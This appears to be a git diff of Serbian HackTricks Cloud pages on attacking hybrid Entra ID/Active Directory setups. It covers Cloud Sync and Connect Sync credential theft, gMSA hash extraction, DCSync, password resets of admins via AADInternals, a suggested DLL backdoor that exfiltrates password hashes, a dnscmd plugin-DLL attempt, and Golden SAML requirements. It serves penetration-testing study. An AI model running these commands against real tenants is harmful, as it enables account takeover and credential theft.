- Kompromitovati **`provAgentgMSA`** nalog, izvršiti DCSync napad, provaliti lozinku nekog korisnika i zatim je koristiti za prijavu u Entra ID.
|
||||
- Samo kreirati novog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim ga koristiti za prijavu u Entra ID.
|
||||
- Modifikovati lozinku nekog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim je koristiti za prijavu u Entra ID.
|
||||
|
||||
Da biste kompromitovali **`provAgentgMSA`** akreditive:
|
||||
```powershell
|
||||
@@ -72,22 +72,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održite postojanost, što vam omogućava da izvršite DCSync napade protiv AD.
|
||||
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održavate postojanost, što vam omogućava da izvršite DCSync napade protiv AD-a.
|
||||
|
||||
Za više informacija o tome kako kompromitovati Active Directory pogledajte:
|
||||
Za više informacija o tome kako kompromitovati Active Directory, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Imajte na umu da ne postoji način da se Azure ili EntraID uloge dodele sinhronizovanim korisnicima na osnovu njihovih atributa, na primer, u konfiguracijama Cloud Sync. Međutim, kako bi se automatski dodelile dozvole sinhronizovanim korisnicima, neke **Entra ID grupe iz AD** mogu dobiti dozvole, tako da sinhronizovani korisnici unutar tih grupa takođe dobiju iste ili se mogu koristiti **dinamičke grupe**, pa uvek proverite dinamička pravila i potencijalne načine za njihovo zloupotrebljavanje:
|
||||
> Imajte na umu da ne postoji način da se Azure ili EntraID uloge dodele sinhronizovanim korisnicima na osnovu njihovih atributa, na primer, u konfiguracijama Cloud Sync. Međutim, kako bi se automatski dodelile dozvole sinhronizovanim korisnicima, neke **Entra ID grupe iz AD** mogu dobiti dozvole, tako da sinhronizovani korisnici unutar tih grupa takođe dobijaju iste ili se mogu koristiti **dinamičke grupe**, pa uvek proverite dinamička pravila i potencijalne načine za njihovo zloupotrebljavanje:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unese backdoor u dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hashovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash lozinki):
|
||||
Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unese backdoor u dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za obavljanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hash-ovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash-ova lozinki):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -127,14 +127,14 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Ako je **Password Writeback** omogućen, mogli biste da izmenite lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync](./az-connect-sync.md) jer se writeback lozinke konfiguriše pomoću tog agenta.
|
||||
- Ako je **Password Writeback** omogućen, mogli biste da modifikujete lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync section](./az-connect-sync.md) jer je writeback lozinke konfigurisan pomoću tog agenta.
|
||||
|
||||
- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike u AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istoj domena šumi kao domena kojoj se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike sa AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istom domena šumi kao domena kojoj se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ove grupe mogu sadržati samo lokalno sinhronizovane korisnike i / ili dodatne sigurnosne grupe kreirane u oblaku.
|
||||
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz iste domene ili između domena, ali svi moraju biti iz iste šume.
|
||||
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz istog domena ili između domena, ali svi moraju biti iz iste šume.
|
||||
|
||||
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugoj domeni (i oba moraju biti u istoj šumi očigledno).
|
||||
Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugom domenu (i oba moraju biti očigledno u istoj šumi).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje se odnose na sinhronizaciju identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect sinhronizacione usluge (Microsoft Entra Connect Sync) su glavni komponenta Microsoft Entra Connect. Ona se brine o svim operacijama koje su povezane sa sinhronizacijom identitetskih podataka između vašeg lokalnog okruženja i Microsoft Entra ID.
|
||||
|
||||
Da biste je koristili, potrebno je instalirati **`Microsoft Entra Connect Sync`** agenta na serveru unutar vašeg AD okruženja. Ovaj agent će se brinuti o sinhronizaciji sa AD strane.
|
||||
|
||||
@@ -46,7 +46,7 @@ Ova konfiguracija omogućava **sinhronizaciju lozinki iz Entra ID u AD** kada ko
|
||||
|
||||
Ovo je posebno zanimljivo za kompromitovanje AD-a iz kompromitovanog Entra ID-a jer ćete moći da menjate lozinku "gotovo" bilo kog korisnika.
|
||||
|
||||
Domain administratori i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
Administratori domena i drugi korisnici koji pripadaju nekim privilegovanim grupama se ne repliciraju ako grupa ima **`adminCount` atribut na 1**. Ali drugi korisnici koji su dodeljeni visoke privilegije unutar AD-a bez pripadnosti bilo kojoj od tih grupa mogli bi imati promenjenu lozinku. Na primer:
|
||||
|
||||
- Korisnici dodeljeni visoke privilegije direktno.
|
||||
- Korisnici iz grupe **`DNSAdmins`**.
|
||||
@@ -86,13 +86,13 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
Lozinke **`MSOL_*`** korisnika (i **Sync\_\*** korisnika ako je kreiran) su **smeštene u SQL serveru** na serveru gde je **Entra ID Connect instaliran.** Administratori mogu da izvuku lozinke tih privilegovanih korisnika u čistom tekstu.\
|
||||
Baza podataka se nalazi u `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna šifrovana:
|
||||
Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna enkriptovana:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Šifrovana konfiguracija** je šifrovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u on-prem AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih lozinki moguće je doći do privilegija u AD i AzureAD.
|
||||
**Enkriptovana konfiguracija** je enkriptovana sa **DPAPI** i sadrži **lozinke `MSOL_*`** korisnika u on-prem AD i lozinku **Sync\_\*** u AzureAD. Stoga, kompromitovanjem ovih lozinki moguće je izvršiti privesc na AD i AzureAD.
|
||||
|
||||
Možete pronaći [potpun pregled o tome kako su ove kredencijale smeštene i dešifrovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
Možete pronaći [potpun pregled o tome kako su ove kredencijale smeštene i dekriptovane u ovom predavanju](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Zloupotreba MSOL\_*
|
||||
```bash
|
||||
@@ -125,10 +125,10 @@ Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Pominje se da se SP ove aplikacije još uvek može koristiti za izvođenje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
|
||||
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni princip i pokušati da ga zloupotrebimo.
|
||||
Pominje se da se SP ove aplikacije još uvek može koristiti za obavljanje nekih privilegovanih radnji koristeći nedokumentovani API, ali do sada nije pronađen nijedan PoC.\
|
||||
U svakom slučaju, razmišljajući da bi to moglo biti moguće, bilo bi zanimljivo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj servisni principal i pokušati da ga zloupotrebimo.
|
||||
|
||||
Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni princip, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principu (jer **servisni princip** uvek može dodeliti nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
Ovaj [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) objavljen je ubrzo pre promene sa korišćenja korisnika `Sync_*` na ovaj servisni principal, objasnio je da je sertifikat bio smešten unutar servera i da je bilo moguće pronaći ga, generisati PoP (Proof of Possession) za njega i graf token, i sa ovim, biti u mogućnosti da doda novi sertifikat servisnom principalu (jer **servisni principal** uvek može dodeliti sebi nove sertifikate) i zatim ga koristiti za održavanje postojanosti kao SP.
|
||||
|
||||
Kako bi se izvršile ove radnje, sledeći alati su objavljeni: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -137,7 +137,7 @@ Prema mom iskustvu, sertifikat više nije smešten na mestu gde je prethodni ala
|
||||
### Zloupotreba Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Prethodno je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo izvođenje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principu. Međutim, od januara 2025. ovaj korisnik više nije kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
> Pre je korisnik pod imenom `Sync_*` kreiran u Entra ID sa veoma osetljivim dozvolama, što je omogućilo obavljanje privilegovanih radnji kao što su modifikacija lozinke bilo kog korisnika ili dodavanje nove kredencijale servisnom principalu. Međutim, od januara 2025. ovaj korisnik više nije kreiran po defaultu jer se sada koristi aplikacija/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Ipak, može biti prisutan u nekim okruženjima, pa vredi proveriti.
|
||||
|
||||
Kompromitovanjem **`Sync_*`** naloga moguće je **resetovati lozinku** bilo kog korisnika (uključujući Globalne Administratore)
|
||||
```bash
|
||||
@@ -172,7 +172,7 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Moguće je izvući lozinku ovog korisnika.
|
||||
Takođe je moguće izvući lozinku ovog korisnika.
|
||||
|
||||
> [!CAUTION]
|
||||
> Druga opcija bi bila da **dodelite privilegovane dozvole servisnom principalu**, što korisnik **Sync** ima **dozvole** da uradi, a zatim **pristupite tom servisnom principalu** kao način za privesc.
|
||||
@@ -0,0 +1,86 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services omogućava postavljanje Active Directory u Azure bez potrebe za upravljanjem Domain Controllers (zapravo, nemate čak ni pristup njima).
|
||||
|
||||
Njegov glavni cilj je da vam omogući pokretanje nasleđenih aplikacija u oblaku koje ne mogu koristiti moderne metode autentifikacije, ili gde ne želite da pretrage direktorijuma uvek idu nazad na on-premises AD DS okruženje.
|
||||
|
||||
Napomena: da biste sinhronizovali korisnike generisane u Entra ID (i ne sinhronizovane iz drugih aktivnih direktorijuma) sa AD domen servisom, potrebno je da **promenite lozinku korisnika** na novu kako bi mogla biti sinhronizovana sa novim AD. Zapravo, korisnik se ne sinhronizuje iz Microsoft Entra ID u Domain Services dok se lozinka ne promeni.
|
||||
|
||||
> [!WARNING]
|
||||
> Čak i ako kreirate novu aktivnu direktorijumsku domenu, nećete moći potpuno da njome upravljate (osim ako ne iskoristite neke pogrešne konfiguracije), što znači da po defaultu, na primer, ne možete direktno kreirati korisnike u AD. Kreirate ih **sinhronizovanjem korisnika iz Entra ID.** Možete odabrati da sinhronizujete sve korisnike (čak i one sinhronizovane iz drugih on-premise AD-ova), samo korisnike u oblaku (korisnike kreirane u Entra ID), ili čak **da ih dodatno filtrirate**.
|
||||
|
||||
> [!NOTE]
|
||||
> Uopšteno, zbog nedostatka fleksibilnosti u konfiguraciji nove domene i činjenice da su AD obično već on-premise, ovo nije glavna integracija između Entra ID i AD, ali je i dalje zanimljivo znati kako ga kompromitovati.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Članovi generisane **`AAD DC Administrators`** grupe imaju lokalne administratorske dozvole na VM-ovima koji su pridruženi upravljanoj domeni (ali ne i na domain controllers) jer su dodati u lokalnu grupu administratora. Članovi ove grupe takođe mogu koristiti **Remote Desktop za daljinsko povezivanje na domain-joined VM-ove**, i takođe su članovi grupa:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Ovo je grupa koja specificira korisnike i grupe čije lozinke ne mogu biti keširane na RODC-ima (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu primeniti grupne politike na korisnike ili grupe ili uređivati postojeće GPO-ove, tako da nije toliko zanimljivo u ovom okruženju.
|
||||
- **`DnsAdmins`**: Ova grupa omogućava upravljanje DNS podešavanjima i zloupotrebljena je u prošlosti da [poveća privilegije i kompromituje domen](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), međutim nakon testiranja napada u ovom okruženju provereno je da je ranjivost zakrpljena:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Napomena da se za dodeljivanje ovih dozvola, unutar AD-a grupa **`AAD DC Administrators`** postavlja kao član prethodnih grupa, a takođe se GPO **`AADDC Computers GPO`** dodaje kao lokalni administratori svim članovima domena grupe **`AAD DC Administrators`**.
|
||||
|
||||
Prebacivanje sa Entra ID na AD kreiran sa Domain Services je jednostavno, samo dodajte korisnika u grupu **`AAD DC Administrators`**, pristupite putem RDP-a bilo kojoj/svim mašinama u domenu i moći ćete da ukradete podatke i takođe **kompromitujete domen.**
|
||||
|
||||
Međutim, prebacivanje sa domena na Entra ID nije tako lako jer se ništa iz domena ne sinhronizuje u Entra ID. Ipak, uvek proverite metapodatke za sve VM-ove koji su pridruženi jer njihove dodeljene upravljane identitete mogu imati zanimljive dozvole. Takođe **izbacite sve lozinke korisnika iz domena** i pokušajte da ih provalite kako biste se zatim prijavili u Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Napomena da su u prošlosti pronađene druge ranjivosti u ovom upravljanom AD-u koje su omogućile kompromitovanje DC-ova, [kao što je ova](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Napadač koji kompromituje DC mogao bi vrlo lako održati postojanost bez da Azure administratori primete ili čak budu u mogućnosti da je uklone.
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
|
||||
--body '{
|
||||
"subscriptions": [
|
||||
"0ce1297c-9153-425d-3229-f51093614377"
|
||||
],
|
||||
"query": "resources | where type == \"microsoft.aad/domainservices\"",
|
||||
"options": {
|
||||
"$top": 16,
|
||||
"$skip": 0,
|
||||
"$skipToken": ""
|
||||
}
|
||||
}'
|
||||
|
||||
# Get domain configuration
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
|
||||
## e.g.
|
||||
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
|
||||
|
||||
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain
|
||||
|
||||
subscription_id="0ce1297c-9153-425d-3229-f51093614377"
|
||||
vnet_name="aadds-vnet"
|
||||
|
||||
# Retrieve all VMs in the subscription
|
||||
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)
|
||||
|
||||
# Iterate through each VM to check their VNet connection
|
||||
echo "VMs connected to VNet '$vnet_name':"
|
||||
while IFS=$'\t' read -r vm_name resource_group; do
|
||||
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)
|
||||
|
||||
for nic_id in $nic_ids; do
|
||||
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)
|
||||
|
||||
if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
|
||||
echo "VM Name: $vm_name, Resource Group: $resource_group"
|
||||
fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -7,11 +7,11 @@
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**Federacija** je skup **domena** koje su uspostavile **povjerenje**. Nivo povjerenja može varirati, ali obično uključuje **autentifikaciju** i gotovo uvek uključuje **autorizaciju**. Tipična federacija može uključivati **broj organizacija** koje su uspostavile **povjerenje** za **deljenje pristupa** skupu resursa.
|
||||
>Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika dešava on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
>Možete **federisati svoje on-premises** okruženje **sa Azure AD** i koristiti ovu federaciju za autentifikaciju i autorizaciju. Ova metoda prijavljivanja osigurava da se sva **autentifikacija korisnika odvija on-premises**. Ova metoda omogućava administratorima da implementiraju rigoroznije nivoe kontrole pristupa. Federacija sa **AD FS** i PingFederate je dostupna.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U suštini, u Federaciji, sva **autentifikacija** se dešava u **on-prem** okruženju i korisnik doživljava SSO kroz sve poverene okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
U suštini, u Federaciji, sva **autentifikacija** se odvija u **on-prem** okruženju i korisnik doživljava SSO kroz sva poverena okruženja. Stoga, korisnici mogu **pristupiti** **cloud** aplikacijama koristeći svoje **on-prem kredencijale**.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** se koristi za **razmenu** svih informacija o autentifikaciji i autorizaciji između provajdera.
|
||||
|
||||
@@ -23,8 +23,8 @@ U bilo kojoj federacijskoj postavci postoje tri strane:
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što su AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
2. Zatim, SP identifikuje odgovarajući IdP (npr. AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
|
||||
1. Prvo, aplikaciju (Provajder usluga ili SP, kao što je AWS konzola ili vSphere web klijent) pristupa korisnik. Ovaj korak može biti zaobiđen, vodeći klijenta direktno do IdP-a (Provajder identiteta) u zavisnosti od specifične implementacije.
|
||||
2. Zatim, SP identifikuje odgovarajući IdP (npr., AD FS, Okta) za autentifikaciju korisnika. Zatim kreira SAML (Security Assertion Markup Language) AuthnRequest i preusmerava klijenta na odabrani IdP.
|
||||
3. IdP preuzima, autentifikujući korisnika. Nakon autentifikacije, SAMLResponse se formira od strane IdP-a i prosleđuje SP-u kroz korisnika.
|
||||
4. Na kraju, SP procenjuje SAMLResponse. Ako je uspešno validiran, što implicira odnos poverenja sa IdP-om, korisniku se odobrava pristup. Ovo označava završetak procesa prijavljivanja, omogućavajući korisniku da koristi uslugu.
|
||||
|
||||
@@ -40,7 +40,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- "..tvrdnje su jednostavno izjave (na primer, ime, identitet, grupa), koje se daju o korisnicima, a koriste se prvenstveno za autorizaciju pristupa aplikacijama zasnovanim na tvrdnjama smeštenim bilo gde na Internetu."
|
||||
- Tvrdnje za korisnika se pišu unutar SAML tokena i zatim se potpisuju kako bi se obezbedila poverljivost od strane IdP-a.
|
||||
- Korisnik se identifikuje pomoću ImmutableID. On je globalno jedinstven i čuva se u Azure AD.
|
||||
- ImmutableID se čuva on-premises kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.
|
||||
- ImmutableID se čuva on-prem kao ms-DS-ConsistencyGuid za korisnika i/ili se može izvesti iz GUID-a korisnika.
|
||||
- Više informacija na [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML napad:**
|
||||
@@ -53,11 +53,11 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
### Golden SAML
|
||||
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **kriptovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
Proces u kojem **Provajder identiteta (IdP)** proizvodi **SAMLResponse** za autorizaciju prijavljivanja korisnika je od suštinskog značaja. U zavisnosti od specifične implementacije IdP-a, **odgovor** može biti **potpisan** ili **šifrovan** koristeći **privatni ključ IdP-a**. Ova procedura omogućava **Provajderu usluga (SP)** da potvrdi autentičnost SAMLResponse-a, osiguravajući da je zaista izdat od strane poverenog IdP-a.
|
||||
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za zlatne SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
Može se povući paralela sa [napadom zlatne karte](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gde se ključ koji autentifikuje identitet i dozvole korisnika (KRBTGT za zlatne karte, privatni ključ za potpisivanje tokena za golden SAML) može manipulisati da **falsifikuje objekat autentifikacije** (TGT ili SAMLResponse). Ovo omogućava impersonaciju bilo kog korisnika, dajući neovlašćen pristup SP-u.
|
||||
|
||||
Zlatni SAML-ovi nude određene prednosti:
|
||||
Golden SAML nudi određene prednosti:
|
||||
|
||||
- Mogu se **kreirati na daljinu**, bez potrebe da budu deo domena ili federacije u pitanju.
|
||||
- Ostaju efikasni čak i sa **dvofaktorskom autentifikacijom (2FA)** uključenom.
|
||||
@@ -70,19 +70,19 @@ Zlatni SAML-ovi nude određene prednosti:
|
||||
|
||||
Sa AWS-om koji veruje kompromitovanom domenu (u federaciji), ova ranjivost se može iskoristiti da potencijalno **dobije bilo koje dozvole u AWS okruženju**. Napad zahteva **privatni ključ koji se koristi za potpisivanje SAML objekata**, slično kao što je potrebno KRBTGT u napadu zlatne karte. Pristup AD FS korisničkom nalogu je dovoljan da se dobije ovaj privatni ključ.
|
||||
|
||||
Zahtevi za izvođenje napada zlatnog SAML-a uključuju:
|
||||
Zahtevi za izvođenje golden SAML napada uključuju:
|
||||
|
||||
- **Privatni ključ za potpisivanje tokena**
|
||||
- **Javni sertifikat IdP-a**
|
||||
- **IdP javni sertifikat**
|
||||
- **Ime IdP-a**
|
||||
- **Ime uloge (uloga koja se preuzima)**
|
||||
- Domen\korisničko ime
|
||||
- Ime sesije uloge u AWS-u
|
||||
- Amazon ID računa
|
||||
- Amazon ID naloga
|
||||
|
||||
_Samo stavke u podebljanom su obavezne. Ostale se mogu popuniti po želji._
|
||||
|
||||
Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične prodavnice** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
